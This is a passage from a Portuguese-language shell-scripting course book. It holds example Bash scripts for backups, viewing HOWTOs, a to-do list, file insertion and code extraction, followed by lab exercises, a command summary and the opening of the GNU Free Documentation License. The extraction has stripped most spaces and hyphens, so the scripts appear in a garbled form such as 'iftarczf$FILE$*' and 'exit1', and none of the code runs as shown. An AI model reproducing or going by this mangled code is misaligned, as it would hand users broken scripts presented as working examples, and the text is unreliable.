echo"Uso:`basename$0`destinoorigem[origem2origem3...]"
exit1#...saidoscript
}
AdbeelGoesFilho
ShellScripts121
echo">Fazendobackup"
FILE="${1}_$(/bin/date+%d%m%Y).tgz"
shift
#Aquiesto"segredo":oshiftacimaexecutadoparaqueeupossausar"$*"noifabaixo.
iftarczf$FILE$*;then
echo"Backupfeitocomsucesso"
else
echo"ERRO"1>&2
exit1
fi
11.
VisualizarHOWTO
#!/bin/bash
#
#*********************************************
#*ScriptparavisualizarHOWTOsrapidamente*
#*********************************************
#http://meleu.da.ru
#meleu<meleu@meleu.cjb.net>
#InspiradoemumoutroscriptquevinoTipsHOWTO.
#OscriptdoTipsHOWTOeramuitosimples,fizalgumas
#modificaesquesointeressantesparansquefalamos
#portugusedevezemquandotemosunsHOWTOstraduzidos,
#eaindafizum"suporte"aosminiHOWTOs.;)
#Emais:sevocnolembradireitodonomedoHOWTO,pode
#passarapenasa(s)primeira(s)letra(s)e/ouusaroscuringas
#('*','?'e'[]'),masaconselhase,nesteltimocaso,ousode
#aspas("quoting")paraevitarquesejapassadocomoparmetro(s)
#ocontedododiretrioatual.Casoeleencontremaisdeum
#arquivoparaaexpressovocpoderescolheratravsdatelaque
#aparecer.
#Exemplos:
#[prompt]$howtoNet
#[prompt]$howto"*[Bb]ash"
#[prompt]$howto"*Prog"
#
#SevocaindanotemenosabeondepegarHOWTOstraduzidos
#procureemhttp://ldpbr.conectiva.com.br
#
#Prrequisitosparaoscriptfuncionardireitinho(ouseja,sem
#precisardealteraes):
#+osHOWTOsdevemestarem"/usr/doc/LinuxHOWTOs";
#+osHOWTOsemportugusdevemestarem"/usr/doc/LinuxHOWTOs.pt";
AdbeelGoesFilho
ShellScripts122
#+osminiHOWTOsdevemestarem"/usr/doc/LinuxminiHOWTOs";
#+todosos[mini]HOWTOs[.pt]devemestargzipados,seosseusno
#estoassimbastaentrarnodiretriodosHOWTOsedigitar
#"gzip*".
#
#
#Sevoctestouoscript,elefuncionoudireitinhoevocgostou,
#entodigite"cphowto.sh/usr/local/bin/howto"paraquetodosdo
#seusistemapossamutilizlo.;)
#
#Aproveite!
#Estessoosdiretriosondesoinstaladosos[mini]HOWTOsno
#Slackware.Seasuadistribuiousaumdiretriodiferente
#mudea(s)varivel(is)aseguir.
HTDIR=/usr/doc/LinuxHOWTOs
miniHTDIR=/usr/doc/LinuxminiHOWTOs
PTHTDIR=/usr/doc/LinuxHOWTOs.pt#esteondeeucolocoostraduzidos
#Variveisqueindicamascores(pranoprecisarficar
#digitandooscdigosANSItodahora)
BLUE="\e[1;34m"
RED="\e[1;31m"
NCOLOR="\e[m"
functionLer{
zless$1
echoe"${RED}\nTchau!\n$NCOLOR"
exit
}
#FunoquemostraalistadosHOWTOsesaidoscript.
functionLista{
lsC$HTDIR|less
echoe"
${BLUE}Uso:$NCOLOR`basename$0`[p|m]nomedoHOWTO
Faa'`basename$0`h'paraveradescriodasopes."
exit1
}
#senoforpassadonenhumparmetroelemostraalista
[z"$1"]&&Lista
#
#TESTAPARMETROS
AdbeelGoesFilho
ShellScripts123
#
case$1in
#mensagemdeajuda
#
h)echoe"
${RED}[Listadeopes]$NCOLOR
p\tHOWTOsemportugus
m\tminiHOWTOs
h\timprimeestamensagem
"
exit#depoisdamensagemdeajuda,sair
;;
#HOWTOsemportugus
#
p)HTDIR=$PTHTDIR
[z"$2"]&&Lista
shift#Lembrado'shift'?Aquielefazcomqueoprimeiro
#parmetrodeixedeser'p'paraseronomedoHOWTO
;;
#miniHOWTOs
#
m)HTDIR=$miniHTDIR
[z"$2"]&&Lista
shift#mesmafunodoshiftno'p'
;;
esac#Aofimdestecase$1temnecessariamenteonomeoua(s)
#primeira(s)letra(s)donomedoHOWTOaserprocurado.
cd$HTDIR
FILE=`ls$1*.gz2>/dev/null`
[`echo$FILE|wcw`gt1]&&{
PS3="Entrecomonmero:"
selectopcin$FILESair;do
["$opc"="Sair"]&&exit
forHOWTOin$FILE;do
["$opc"="$HOWTO"]&&Ler$HOWTO
done
done
AdbeelGoesFilho
ShellScripts124
}
[e"$FILE"]&&Ler$FILE
#IstosserexecutadosenoforencontradooHOWTO
echoe"${RED}***HOWTOnoencontrado***$NCOLOR"
echo"Tente'`basename$0`[p|m]'paraveralista"
exit1
12.
todo.sh
#!/bin/bash
PROG=`basename$0`
EDITOR=`whichvi`
FILE="$HOME/.ToDo"
USAGE="Uso:$PROG[h|e]"
case$1in
h)echo"
$USAGE
eeditaalistade\"ParaFazer\"(ToDo)
himprimeestamensagemesai
Semparmetros$PROGirmostraralistade\"ToDo\".
"
exit;;
e)$EDITOR$FILE
exit;;
'')cat$FILE2>/dev/null||{
echo"Vocprecisacriaroarquivo$HOME/.ToDo!"
echo"Entre\"$PROGe\"paraeditarseu~/.ToDo"
echo"Paraajudatente\"$PROGh\""
exit1
};;
*)echo"Parmetro\"$1\"desconhecido!"
echo"$USAGE"
echo"Entrecom\"$PROGh\"paraajuda."
exit;;
AdbeelGoesFilho
ShellScripts125
esac
13.
inseretxt.sh
#!/bin/bash
#
#Muitasvezesduranteaescritadotexto
#"ProgramaoemBourneAgainShell"euprecisava
#inserirumcdigodeumscriptnumadeterminada
#posiodoarquivoeestaposioficavaentremuitotextoantesedepois
#dessalinha.
#Parafazerissodeumamaneiramaiscmoda,euescreviestescript.
#Parainformaessobreousotenteoparmetro'h'ou
#'help'.
#Sevocpassarcomooparmetro"linha"umnmeromaior
#queodelinhastotaldo"ArqOriginal"os"arquivosN"
#seroinseridosnofinaldo"ArqOriginal".
#Ah!Lembresedeumacoisa:"linha"precisaserum
#inteiropositivo.Elembresedemaisumacoisa:0
#noumnmeropositivo.;)
#meleu.
#
B="\e[1m"
N="\e[m"
USO="Uso:`basename$0`linhaArqOriginalarquivo1[arquivoN...]"
AJUDA="Tente\"`basename$0`help\"paraajuda"
["$1"='h'o"$1"='help']&&{
echoe"
${B}Insereocontedodearquivo(s)dentrodeumoutro.$N
$USO
Onde:
\"linha\"alinhaondeotextoserinserido
\"ArqOriginal\"oarquivoquereceberostextos
\"arquivoN\"soosarquivosqueseroinseridosemArqOriginal
"
exit
}
[$#lt3]&&{
AdbeelGoesFilho
ShellScripts126
echoe${B}Erro:erronapassagemdeparmetros$N
echo$USO
echo$AJUDA
exit1
}
Linha=$1
#verificandose$Linhaumnmerointeiropositivo
[`expr$Linha12>/dev/null`ge0]2>/dev/null||{
echoe${B}Erro:Oprimeiroparmetroprecisaserinteiropositivo$N
echo$AJUDA
exit1
}
ArqOriginal=$2
[f$ArqOriginal]||{
echoe${B}Erro:\"$ArqOriginal\"noexisteounoumarquivoregular$N
echo$AJUDA
exit2
}
functionApagarSair{
rm"$1"
exit$2
}
shift2
Temp=/tmp/`basename$ArqOriginal`$$.tmp
#>inciodoarquivooriginal:
head$[$Linha1]$ArqOriginal>$Temp
#>arquivosqueseroinseridos:
ContaAcerto=0
forArqin"$@";do
[f"$Arq"]||{
echoe${B}OBS.:\"$Arq\"noexisteounoumarquivoregular$N
continue
}
cat$Arq>>$Temp
((ContaAcerto++))
done
[$ContaAcertoeq0]&&{
echoe${B}Nenhumarquivofoiinseridoem\"$ArqOriginal\"$N
ApagarSair$Temp3
AdbeelGoesFilho
ShellScripts127
}
echo
#>praterminar,finaldoarquivooriginal:
sedn"$Linha,\$p"$ArqOriginal>>$Temp
ArqFinal="$ArqOriginal.new"
[e$ArqFinal]&&{
echoe${B}Jexisteumarquivochamado\"$ArqFinal\".$N
readn1p"Desejasobregravlo?(s/N)"SN
echo
["$SN"!='S'a"$SN"!='s']&&{
echoe"$B\nOperaocancelada!$N"
ApagarSair$Temp3
}
}
cat$Temp>$ArqFinal
echoe"
${B}Operaoconcludacomsucesso.$N
Confiraem\"$ArqFinal\"
"
ApagarSair$Temp
14.
Mextract.sh
#!/bin/sh
#
#****************************
#*MeleuExtractionUtility*
#****************************
#http://meleu.da.ru
#EstescriptbaseadonoPhrackExtractionUtility,(maisinformaes
#<http://www.phrack.org>).Fizele,primeiroparapraticar,segundopara
#servircomomaisumexemplonotexto"ProgramaoemBourneAgainShell",
#eltimoparaextraodoscdigosdotexto.=P
#
#############Sejexistiremarquivoscomonomedosqueseroextrados
#!CUIDADO!#elesserosobregravados!Portanto,sevocextrairumavez,
#############alteraro(s)cdigo(s)extrado(s)eextrairnovamente,perderasalteraesfeitas!
#
#
AdbeelGoesFilho
ShellScripts128
#Aseguireuvoucomentarsobreocdigofazendorefernciaaostpicos
#dotexto"ProgramaoemBourneAgainShell".
#
#
#+AfunodoIFSexplicadanotpico"2.2.VariveisdoShell",nestescripteuuseioIFS
comvalornulo(vazio)paraqueoscomandosconsideremespaosquevmantesdequalquer
caracterecomopartedodado.Sevocfizerporexemplo"readvar"eantesdeentrarqualquer
#coisacolocarespaose/ouTAB,vocverqueelesserodesconsideradosseoIFStiverseuvalor
default(espao,TAB,newline);
#
#+Aopornoread(explicadaem3.2.read)serveparaignoraro
#poderqueacontrabarra(backslash)temde"escapar"oscaracteres.Em
#outraspalavras:aoporgarantequequandooreadreceberuma
#contrabarraelaserpassadaparaavarivelsemnenhumvalorespecial;
#
#+Ocatenviandoosdadosparaoreaddowhileexplicadoem
#"5.5.Redirecionandoloops"sobottulode"pipeandoparaowhile";
#
#+osetusadoparafazercomquecadapalavra(palavraaquitemum
#sentidodeconjuntodecaracteresseparadosporaquelesdefinidosno
#IFS)vireumparmetroposicional,conformeexplicadoem
#"2.4.2.set(paraeditarparmetrosposicionais)".Aopoquerdizer
#"acabaramasopes,oquevierapartirdaquisoosvaloresdos
#parmetrosdeposio",estaoposerveparaprevenirquealguma
#informaoquecomececomocaracteresejaconsideradoumaopo
#sendopassadaparaoset;
#
#+Notpico"2.5.SubstituiodeVariveis"vocveraexplicao
#deseusar"FILE=${FILE:.}/$1";
#
#+Bom...achoqueisso.Leiaocdigo,executeo,faatestes,
#mudeocdigo,executeonovamente,vejaoquemudounosresultados,
#leiaasmanpagesemcasodedvidas...Enfim,useomtodohackerde
#aprenderaprogramar!;)
#Esperoquecurta!
#meleu<meleu@meleu.cjb.net>
#
#P.S.:Querum"deverdecasa"?Altereocdigoparaqueeleverifique
#sejexistearquivoscomomesmonomedosqueestoprestesa
#seremextrados.Seexistir,alertarousuriosobreisso.Tente
#tambmfazermeiosdedetecodospossveiserrosquepossam
#ocorrer...
#Ah,seil!Brinquecomocdigoumpouco!=)
#
B="\e[1m"
AdbeelGoesFilho
ShellScripts129
N="\e[m"
[$#lt1]&&{
echoe"${B}Erro:faltaparmetros$N"
echo"Uso:`basename$0`arquivo1[arquivoN]"
exit1
}
[w.]||{
echoe"${B}Erro:vocnotempermissodeescritanestediretrio$N"
exit1
}
OldIFS="$IFS"
IFS=
cat$@|
whilereadrLINHA;do
IFS="$OldIFS"
set$LINHA
case"$1"in
'<++>')
TempIFS="$IFS"
IFS=/
set$2
IFS="$TempIFS"
while[$#gt1];do
FILE=${FILE:.}/$1
[d$FILE]||mkdir$FILE
shift
done
FILE="${FILE:.}/$1"
ifechon2>/dev/null>$FILE;then
echo"*Extraindo$FILE"
else
echoe"$B>houveumerroaotentarextrair'$FILE'"
echoe"estearquivoserignorado.$N"
unsetFILE
fi
;;
'<>')
unsetFILE
;;
*)
["$FILE"]&&{
IFS=
echo"$LINHA">>$FILE
AdbeelGoesFilho
ShellScripts130
}
;;
esac
done
echo">Fim<"
15.
Arquivos
BackupDirio
#!/bin/bash
#VIRTVSEngenhariaeInformticaLtda
#Assunto
=BackupDirio
#DatadeIncluso
=29/09/2002
#DatadeAlterao
=29/09/2002
#Parmetrostar
=
#
c
=Criaarquivotar
#
f
=Trataroarquivo
#
r
=Adicionaraofinaldeumarquivotar
#
p
=Preservaaspermisses
#
z
=Compactarcomgzip
#
v
=Exibearquivosprocessados
#
Wverify
=Verificaarquivoapsgravlo
#
Pabsolutenames
=Preserva/
#
tartvf
=Exibecontedodoarquivotarcomaspermisses
clear
BASE="${HOSTNAME}_$(date"+%Y%m%d%H%M%S")"
DESTINO=/tmp/
ARQUIVO_DESTINO=${DESTINO}${BASE}.tar
ARQUIVO_DUMP=${DESTINO}${BASE}.pgdump
ARQUIVO_ERRO="/tmp/erro.backup"
TRACOS=""
echo"Gerando$ARQUIVO_DESTINO..."
echo$TRACOS
echo"Gerando$ARQUIVO_DUMPdoPostgreSQL..."
sudoupostgrespg_dumpsatis>$ARQUIVO_DUMP
tarcf$ARQUIVO_DESTINO/etc2>$ARQUIVO_ERRO
tarrf$ARQUIVO_DESTINO/home2>>$ARQUIVO_ERRO
tarrf$ARQUIVO_DESTINO$ARQUIVO_DUMP2>>$ARQUIVO_ERRO
gzipf$ARQUIVO_DESTINO>${ARQUIVO_DESTINO}.gz2>>$ARQUIVO_ERRO
mv${ARQUIVO_DESTINO}.gz/mnt/hdc/backup2>>$ARQUIVO_ERRO
echo$TRACOS
echo"FimdoBackup.Arquivo=$ARQUIVO_DESTINO"
exit0
AdbeelGoesFilho
ShellScripts131
BackupSemanal
#!/bin/bash
#VIRTVSEngenhariaeInformticaLtda
#Assunto =BackupSemanal
#DatadeIncluso
=29/09/2002
#DatadeAlterao
=29/09/2002
#
#Parmetrostar
=
#
c
=
#
f
=
#
r
=
#
p
=
#
z
=
#
v
=
#
Wverify
=
#
Pabsolutenames
=
#
tartvf
=
permisses
clear
Criaarquivotar
Trataroarquivo
Adicionaraofinaldeumarquivotar
Preservaaspermisses
Compactarcomgzip
Exibearquivosprocessados
Verificaarquivoapsgravlo
Preserva/
Exibecontedodoarquivotarcomas
BASE="${HOSTNAME}_$(date"+%Y%m%d%H%M%S")"
DESTINO="/mnt/hdc/"
ARQUIVO_DESTINO=${DESTINO}${BASE}.tar
ARQUIVO_OK="/tmp/ok.txt"
ARQUIVO_ERRO="/tmp/erro.txt"
TRACOS=""
echo"GerandoCpiaemBackground..."
echo$TRACOS
cpRpreserveupdate/home$DESTINO1>$ARQUIVO_OK2>$ARQUIVO_ERRO&
cpRpreserveupdate/util$DESTINO1>>$ARQUIVO_OK2>>$ARQUIVO_ERRO&
cpRpreserveupdate/etc$DESTINO1>>$ARQUIVO_OK2>>$ARQUIVO_ERRO&
cpRpreserveupdate/var$DESTINO1>>$ARQUIVO_OK2>>$ARQUIVO_ERRO&
echo$TRACOS
echo"Fim"
exit0
AdbeelGoesFilho
ShellScripts132
16.
UsodeFuno
#!/bin/sh
menu()
{
echo"Entrecomumaopcao:"
echo
echo"1.ExibirDataeHora"
echo"2.ExibirCalendario"
echo"3.Desligarosistema"
echo"4.Sairdoprograma"
echo
echon"Escolha:"
readescolha
Funcao_Escolha
}
Funcao_Escolha()
{
case$escolhain
1)echo;date;echo;menu;;
2)echo;cal;echo;menu;;
3)halt;
4)echo"Atmais";echo;exit;;
esac
}
menu
EXPR:Fazercontasmatemticas.
sintaxe:expr2+2
+adio
subtrao
\*multiplicao
/diviso
%resto
17.
Colocandocornasfrases
Talvezvcsejevaidoso(a)equeiraexibirmensagenscomcor,entoasintaxe:
AdbeelGoesFilho
ShellScripts133
#!/bin/sh
echoe"\\033[0;31mTestando\\031[0;0m";
#Oscriptacimaexibiranatelaumamensagemabaixo:
#Testando(masamsgvaiestaremvermelha)
Sendoqueo31ehacordafonte:
Tabeladecor:
30preta
31vermelha
32verde
33amarela
34azul
35rosa
36azulpiscina
37branca
{}FIM{}
AdbeelGoesFilho
ShellScripts134
2. Laboratrios
AdbeelGoesFilho
ShellScripts135
Laboratrio1:Diversos(20060425)
1. Qualoresultadodoltimocomandoabaixo?Havendoproblemas,qualseracorreo?
#a=Universidadede
#b=Fortaleza
#echo$a$b
2. Qualoresultadode:
#a=$(ls/tmp)
#echo$a
3. Qualoresultadode:
#echo$(psaux|grepbash)
4. Qualoresultadode:
#find/name*.html1>/tmp/ok.txt2>/tmp/erro.txt
5. Elaboreumshellscriptparacopiartodoocontedodeumusurio,usandoasubstituiodo~
paraodiretrio/tmp/$USER
6. Elaboreum shellscriptparaenviarparaoemail suporte@teste.com.br arelaodasvariveis
globaiselocaisalocadasnopresenteshell.
7. Elaborar um shellscript para copiar todos os arquivos de jornalizao em /var/log para o
diretrio/tmp/logutilizandoasubstituiodecomandos.
8. Elaboreumshellscriptparacalcularasomadosnprimeirosnmerosinteirospositivos.Leian
emtempodeexecuo.
9. Elaboreumshellscriptpara,dadoumnmeron,exibiraSriedeFibonnacciatele.
Exemplo:0112358...
10.Elaboreumshellscriptparacalcularofatorialdeumnmeron,passadoporparmetro.
Exemplo:#./fatorial6
AdbeelGoesFilho
ShellScripts136
AdbeelGoesFilho
ShellScripts137
Laboratrio2:ComandosCondicionais
Elaboreosseguintesshellscripts.
1. Encontraromaiordentretrsnmerosrecebidosemtempodeexecuo.
2. Receberduasstringsemtempodeexecuoeexibirumamensagemseelassoiguaisouno.
3. Encontraroregistrocomosdadosdousuriodologinnoarquivo/etc/password
4. Encontraregerarumarquivocomaextensoteste.baknodiretriodousuriodeloginseeleno
existir.
5. Removerarquivostemporriosdedeterminadousurio(Noroot).
6. Removerumarquivocujonomelidoemtempodeexecuo.
7. Verificarquaisarquivosem/binpodemserlidospelousurioatual.
8. Exibir,casoexista,ocontedodoarquivo/var/log/squid/access.lognoeditorvi.
9. Verificarseumusurioestlogadoeenviarumamensagemparaelepedindodesconexo.
10.Tratararquivosdeacordocomomenu:
Menu
del
Removerarquivo
ren
Renomeararquivo
cp
Copiararquivo
me
Mandarcontedoporemail
end
Sairdoaplicativo
AdbeelGoesFilho
ShellScripts138
Laboratrio3:ComandosdeRepetio
1. Exibiodenmerosde1an
#!/bin/bash
readpQualonmeron?n
for$iin$(seq1$n);
do
echo$i
done
2. Faaageraodennmerosrandmicos
AdbeelGoesFilho
ShellScripts139
Laboratrio4:Funes
1. ExemplodeMenu
#!/bin/bash
functionopcao1{
echoOpo1
}
functionopcao2{
echoOpo2
return10
}
echoInformeaOpo
readop
case$opin
1) echoEntreinaFunoopcao1
opcao1
;;
2) echoEntreinaFunoopcao2
opcao2
;;
exit0
Observequeachamadadafunodevervirapssuadeclarao.
2. Elaboreumacalculadoraaritmticasimples.
AdbeelGoesFilho
ShellScripts140
Laboratrio5:Diversos
Elaboreosseguintesshellscripts.
1. Inverterumasequnciade'n'nmeros(1an).
2. Lereexibirosusurioscadastradosem/etc/passwd
3. ConsultaroIPassociadoaumnomedeHOST(Arquivo/etc/hosts)
4. ExibirasvariveisGLOBAISassociadasaousuriologado.
5. Elaboreumshellscriptparacriarumaagendadeendereos.
Menu[Usurio]
i
Incluir
Alterar
Excluir
Consultar
Fim
AdbeelGoesFilho
ShellScripts141
Variveis
$0
$1a$9
${10},${11}...
usodaschaves;
$*
$@
$#
$?
$$
onomedoshellscript;
$1oprimeiroparmetro,$9onono,eassimpordiante;
quandoonmerodoparmetropossuimaisdeumdgitonecessrioo
todososparmetrosemumanicastring(excetoo$0);
todososparmetros,cadaumemstringsseparadas(exceto$0);
nmerodeparmetros(semcontarcomo$0).
valorderetornodoltimocomando(explicadomaisadiante);
PIDdoscript.
Comandocase
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])<comandos2>
;;
*)
<comandossenofornenhumadasopes>
;;
esac
AdbeelGoesFilho
ShellScripts142
ResumodosComandos
$0
onomedoshellscript(a.k.a.parmetrozero);
$1a$9
$1oprimeiroparmetro,$9onono,eassimpordiante;
${10},${11}..
quandoonmerodoparmetropossuimaisdeumdgitonecessrioouso
daschaves;
$*
todososparmetrosemumanicastring(excetoo$0)
$@
todososparmetros,cadaumemstringsseparadas(exceto$0)
$#
nmerodeparmetros(semcontarcomo$0).
$?
valorderetornodoltimocomando(explicadomaisadiante);
$$
PIDdoscript;
$!
PIDdoltimocomandoiniciadocom&
x=0
while["$x"le10];
do
echo"Execuonmero:$x"?;
x=$((x+1));
done;
for<var>in<lista>;
do
comandos
done;
#!/bin/bash
CONT=10
until[$CONTeq0];do
echone"$CONT\t"
letCONT
done
echo
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])
<comandos2>
;;
*)
<comandossenofornenhumadasopes>
;;
esac
AdbeelGoesFilho
ShellScripts143
3. Exercicios
Lista20040513
1. Escrevaumscriptchamadocleanparalimparseudiretrio$HOME,removendotodosos
arquivoscomextenso"bak"ou"~"quenotenhamsidoacessadoshpelomenos3dias.Dica:
useoscomandosfinderm.
2. EscrevaumscriptparacriardiretrioscomnomeDirXXX,ondeXXXvariade001a299.
3. Escrevaumconjuntodescriptsparagerenciaroapagamentodearquivos.Oscriptdeldeve
moverosarquivospassadoscomoparmetrosparaumdiretriolixeira;oscriptundeldeve
moverarquivosdalixeiraparaodiretriocorrenteeoscriptlsdeldevelistarocontedoda
lixeira.Odiretriolixeiradeveserdefinidoatravsdavariveldeambiente$LIXEIRA.
4. Fundaosscriptsdoexerccioanterioremumsscriptdel,comosdemais(undelelsdel)sendo
linkssimblicosparaoprimeiro.Comofazerparaqueoscriptsaibaqualaoperaodesejada
quandoeleforchamado,semprecisarinformloviaparmetros?
5. EscrevaumscriptparaverificarquaishostsdeumadeterminadaredeIPestoativos.Paratestar
seumhostestativo,useocomandoping.Arededeveserinformadavialinhadecomando,no
formatox.y.z,eoresultadodeveserenviadoparaumarquivocomonomex.y.z.log.Deveser
testadaaacessibilidadedoshostsdex.y.z.1ax.y.z.254.Oarquivo/etc/hostscontemosnomes
doshostsnoformato:<IP><host><apelido>
AdbeelGoesFilho
ShellScripts144
RelaodeComandosdoShellScript
if[condio];
thencomandos1;elsecomandos2;
fi;
while[condio];
do
comando1;comando2;
...
done;
for<var>in<lista>;
do
comandos
done;
until<expresso>;do
<comandosqueseroexecutadosenquanto
<expresso>retornarFALSO>
done
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])
<comandos2>
;;
*)
<comandossenofornenhuma
dasopes>
;;
esac
select<var>in<listadeopes>;
do
<comandos>
done;
AdbeelGoesFilho
ShellScripts145
ndice alfabtico
Metacaracteres
40
Pipes
41
shell
10pp.,14pp.,21pp.,25,28,30,32pp.,36,38,40p.,48pp.,59pp.,71,82,103,106pp.,112,115,
134p.,138
shift
25,27,33,118,120,122,125,128
AdbeelGoesFilho
ShellScripts146
5. GNUFreeDocumentationLicense
Version1.1,March2000
Copyright(C)2000FreeSoftwareFoundation,Inc.
59TemplePlace,Suite330,Boston,MA021111307USA
Everyoneispermittedtocopyanddistributeverbatimcopiesofthislicensedocument,butchanging
itisnotallowed.
0.PREAMBLE
ThepurposeofthisLicenseistomakeamanual,textbook,orotherwrittendocument"free"inthe
senseof freedom:toassureeveryonetheeffectivefreedomtocopyandredistributeit,with or
withoutmodifyingit,eithercommerciallyornoncommercially.Secondarily,thisLicensepreserves
for the author and publisher a way to get credit for their work, while not being considered
responsibleformodificationsmadebyothers.
ThisLicenseisakindof"copyleft",whichmeansthatderivativeworksofthedocumentmust
themselvesbefreeinthesamesense.ItcomplementstheGNUGeneralPublicLicense,whichisa
copyleftlicensedesignedforfreesoftware.
WehavedesignedthisLicenseinordertouseitformanualsforfreesoftware,becausefreesoftware
needsfreedocumentation:afreeprogramshouldcomewithmanualsprovidingthesamefreedoms
thatthesoftwaredoes.ButthisLicenseisnotlimitedtosoftwaremanuals;itcanbeusedforany
textual work, regardless of subject matter or whether it is published as a printed book. We
recommendthisLicenseprincipallyforworkswhosepurposeisinstructionorreference.
1.APPLICABILITYANDDEFINITIONS
ThisLicenseappliestoanymanualorotherworkthatcontainsanoticeplacedbythecopyright
holdersayingitcanbedistributedunderthetermsofthisLicense.The"Document",below,refersto
anysuchmanualorwork.Anymemberofthepublicisalicensee,andisaddressedas"you".
A"ModifiedVersion"oftheDocumentmeansanyworkcontainingtheDocumentoraportionofit,
eithercopiedverbatim,orwithmodificationsand/ortranslatedintoanotherlanguage.
A"SecondarySection"isanamedappendixorafrontmattersectionoftheDocumentthatdeals
exclusivelywiththerelationshipofthepublishersorauthorsoftheDocumenttotheDocument's
overallsubject(ortorelatedmatters)andcontainsnothingthatcouldfalldirectlywithinthatoverall
subject.(Forexample,iftheDocumentisinpartatextbookofmathematics,aSecondarySection
maynotexplainanymathematics.)Therelationshipcouldbeamatterofhistoricalconnectionwith
the subject or with related matters, or of legal, commercial, philosophical, ethical or political
positionregardingthem.
The"InvariantSections"arecertainSecondarySectionswhosetitlesaredesignated,asbeingthose
ofInvariantSections,inthenoticethatsaysthattheDocumentisreleasedunderthisLicense.
The"CoverTexts"arecertainshortpassagesoftextthatarelisted,asFrontCoverTextsorBack
CoverTexts,inthenoticethatsaysthattheDocumentisreleasedunderthisLicense.
A"Transparent"copyoftheDocumentmeansamachinereadablecopy,representedina106format
whosespecificationisavailabletothegeneralpublic,whosecontentscanbeviewedandedited
directlyandstraightforwardlywithgenerictexteditorsor(forimagescomposedofpixels)generic
paintprogramsor(fordrawings)somewidelyavailabledrawingeditor,andthatissuitableforinput
to text formatters or for automatic translation to a variety of formats suitable for input to text
AdbeelGoesFilho
ShellScripts147
formatters.AcopymadeinanotherwiseTransparentfileformatwhosemarkuphasbeendesigned
tothwartordiscouragesubsequentmodificationbyreadersisnotTransparent.Acopythatisnot
"Transparent"iscalled"Opaque".
ExamplesofsuitableformatsforTransparentcopiesincludeplainASCIIwithoutmarkup,Texinfo
inputformat,LaTeXinputformat,SGMLorXMLusingapubliclyavailableDTD,andstandard
conformingsimpleHTMLdesignedforhumanmodification.OpaqueformatsincludePostScript,
PDF,proprietaryformatsthatcanbereadandeditedonlybyproprietarywordprocessors,SGMLor
XMLforwhichtheDTDand/orprocessingtoolsarenotgenerallyavailable,andthemachine
generatedHTMLproducedbysomewordprocessorsforoutputpurposesonly.
The"TitlePage"means,foraprintedbook,thetitlepageitself,plussuchfollowingpagesasare
neededtohold,legibly,thematerialthisLicenserequirestoappearinthetitlepage.
Forworksinformatswhichdonothaveanytitlepageassuch,"TitlePage"meansthetextnearthe
mostprominentappearanceofthework'stitle,precedingthebeginningofthebodyofthetext.
2.VERBATIMCOPYING
You may copy and distribute the Document in any medium, either commercially or
noncommercially,providedthatthisLicense,thecopyrightnotices,andthelicensenoticesaying
this License applies to the Document are reproduced in all copies, and that you add no other
conditionswhatsoevertothoseofthisLicense.Youmaynotusetechnicalmeasurestoobstructor
controlthereadingorfurthercopyingofthecopiesyoumakeordistribute.
However,youmayacceptcompensationinexchangeforcopies.Ifyoudistributealargeenough
numberofcopiesyoumustalsofollowtheconditionsinsection3.
Youmayalsolendcopies,underthesameconditionsstatedabove,andyoumaypubliclydisplay
copies.
3.COPYINGINQUANTITY
If you publishprintedcopiesoftheDocumentnumberingmorethan100,andtheDocument's
licensenoticerequiresCoverTexts,youmustenclosethecopiesincoversthatcarry,clearlyand
legibly,alltheseCoverTexts:FrontCoverTextsonthefrontcover,andBackCoverTextsonthe
backcover.Bothcoversmustalsoclearlyandlegiblyidentifyyouasthepublisherofthesecopies.
Thefrontcovermustpresentthefulltitlewithallwordsofthetitleequallyprominentandvisible.
Youmayaddothermaterialonthecoversinaddition.Copyingwithchangeslimitedtothecovers,
aslongastheypreservethetitleoftheDocumentandsatisfytheseconditions,canbetreatedas
verbatimcopyinginotherrespects.
Iftherequiredtextsforeithercoveraretoovoluminoustofitlegibly,youshouldputthefirstones
listed(asmanyasfitreasonably)ontheactualcover,andcontinuetherestontoadjacentpages.
IfyoupublishordistributeOpaquecopiesoftheDocumentnumberingmorethan100,youmust
eitherincludeamachinereadableTransparentcopyalongwitheachOpaquecopy,orstateinor
with each Opaque copy a publiclyaccessible computernetwork location containing a complete
TransparentcopyoftheDocument,freeofaddedmaterial,whichthegeneralnetworkusingpublic
hasaccesstodownloadanonymouslyatnochargeusingpublicstandardnetworkprotocols.Ifyou
use the latter option, you must take reasonably prudent steps, when you begin distribution of
Opaquecopiesinquantity,toensurethatthisTransparentcopywillremainthusaccessibleatthe
statedlocationuntilatleastoneyearafterthelasttimeyoudistributeanOpaquecopy(directlyor
throughyouragentsorretailers)ofthateditiontothepublic.
It is requested, but not required, that you contact the authors of the Document well before
redistributinganylargenumberofcopies,togivethemachancetoprovideyouwithanupdated
versionoftheDocument.
AdbeelGoesFilho
ShellScripts148
4.MODIFICATIONS
YoumaycopyanddistributeaModifiedVersionoftheDocumentundertheconditionsofsections
2and3above,providedthatyoureleasetheModifiedVersionunderpreciselythisLicense,withthe
ModifiedVersionfillingtheroleoftheDocument,thuslicensingdistributionandmodificationof
theModifiedVersiontowhoeverpossessesacopyofit.Inaddition,youmustdothesethingsinthe
ModifiedVersion:
A.UseintheTitlePage(andonthecovers,ifany)atitledistinctfromthatoftheDocument,and
fromthoseofpreviousversions(whichshould,iftherewereany,belistedintheHistorysectionof
theDocument).Youmayusethesametitleasapreviousversioniftheoriginalpublisherofthat
versiongivespermission.
B.ListontheTitlePage,asauthors,oneormorepersonsorentitiesresponsibleforauthorshipofthe
modificationsintheModifiedVersion,togetherwithatleastfiveoftheprincipalauthorsofthe
Document(allofitsprincipalauthors,ifithaslessthanfive).
C.StateontheTitlepagethenameofthepublisheroftheModifiedVersion,asthepublisher.
D.PreserveallthecopyrightnoticesoftheDocument.
E.Add an appropriate copyright notice for your modifications adjacent to the other copyright
notices.
F.Include,immediatelyafterthecopyrightnotices,alicensenoticegivingthepublicpermissionto
usetheModifiedVersionunderthetermsofthisLicense,intheformshownintheAddendum
below.
G.PreserveinthatlicensenoticethefulllistsofInvariantSectionsandrequiredCoverTextsgivenin
theDocument'slicensenotice.
H.IncludeanunalteredcopyofthisLicense.
I.Preservethesectionentitled"History",anditstitle,andaddtoitanitemstatingatleastthetitle,
year,newauthors,andpublisheroftheModifiedVersionasgivenontheTitlePage.Ifthereisno
sectionentitled"History"intheDocument,createonestatingthetitle,year,authors,andpublisher
